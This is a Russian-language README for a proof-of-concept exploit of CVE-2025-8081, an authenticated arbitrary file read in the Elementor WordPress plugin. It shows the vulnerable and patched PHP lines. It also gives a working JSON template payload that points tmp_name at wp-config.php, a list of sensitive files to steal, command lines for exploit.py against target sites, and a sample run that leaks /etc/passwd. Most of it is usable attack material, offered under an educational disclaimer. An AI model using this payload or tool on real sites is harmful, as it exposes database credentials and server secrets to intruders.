
Эксплойт proof-of-concept для CVE-2025-8081 — произвольное чтение файлов в плагине Elementor для WordPress, позволяющее аутентифицированным администраторам читать конфиденциальные файлы, такие как wp-config.php.
Критическая уязвимость произвольного чтения файлов в плагине Elementor для WordPress, которая позволяет аутентифицированным администраторам читать любые файлы, доступные веб-серверу, включая конфиденциальные файлы конфигурации, содержащие учётные данные базы данных.
| Свойство | Значение |
|---|
| ID CVE | CVE-2025-8081 |
| Тип | Произвольное чтение файлов (CWE-22: Path Traversal) |
| Оценка CVSS | 4.9 (Средний) — Реальное влияние: КРИТИЧЕСКОЕ |
| Вектор CVSS | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| Затронутые версии | Elementor ≤ 3.30.2 |
| Исправленная версия | Elementor ≥ 3.30.3 |
| Дата выпуска | 22 июля 2025 г. |
| Дата раскрытия | 15 октября 2025 г. |
wp-config.php раскрывает учётные данные базы данных и ключи безопасностиУязвимость существует в одном файле в одной строке:
elementor/includes/template-library/classes/class-import-images.php
Строка 115 (v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ NO VALIDATION!
}
Проблема: параметр tmp_name НЕ проверяется с помощью is_uploaded_file(), что позволяет атакующему указать произвольные пути к файлам.
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = false;
// security validation in case the tmp_name has been tampered with
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDATION ADDED!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
Исправление: патч добавляет проверку is_uploaded_file(), чтобы гарантировать, что tmp_name ссылается на легитимный файл, загруженный через HTTP POST.
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json)leaked_config.txtРезультат: содержимое wp-config.php с учётными данными базы данных раскрыто!
| Файл | Описание | Влияние |
|---|---|---|
/var/www/html/wp-config.php | Конфигурация WordPress | 🔴 КРИТИЧЕСКОЕ — учётные данные БД |
/proc/self/environ | Переменные окружения | 🔴 КРИТИЧЕСКОЕ — ключи API, секреты |
| Файл | Описание | Влияние |
|---|---|---|
/etc/passwd | Пользователи системы | 🟠 ВЫСОКОЕ — перечисление пользователей |
/var/www/html/.htaccess | Конфигурация веб-сервера | 🟠 ВЫСОКОЕ — раскрытие конфигурации |
/var/log/apache2/access.log | Журналы Apache | 🟡 СРЕДНЕЕ — раскрытие информации |
python3 exploit.py -t https://target.com -u admin -p password123
Обязательные аргументы:
-t, --target URL URL целевого WordPress (например, https://target.com)
-u, --user USERNAME Имя пользователя администратора WordPress
-p, --password PASS Пароль администратора WordPress
Необязательные аргументы:
-f, --file PATH Файл для чтения (по умолчанию: /var/www/html/wp-config.php)
-o, --output FILE Имя выходного файла (по умолчанию: автоматически генерируется)
--insecure, -k Отключить проверку SSL-сертификата
-v, --verbose Включить подробный вывод для отладки
-h, --help Показать справочное сообщение
# Базовая эксплуатация (читает wp-config.php с полезной нагрузкой по умолчанию)
python3 exploit.py -t http://target.com -u admin -p password123
# Пользовательский целевой файл
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# С HTTPS и самоподписанным сертификатом
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# Подробный режим с пользовательским выводом
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# Из OrbStack/Docker с нацеливанием на хост-машину
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ
Этот инструмент предоставляется только для исследований в области безопасности и целей тестирования на проникновение. Использование этого инструмента для атак на цели без предварительного взаимного согласия незаконно.
Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе.
Используя этот инструмент, вы соглашаетесь использовать его законно и этично.
Последнее обновление: 17 октября 2025 г.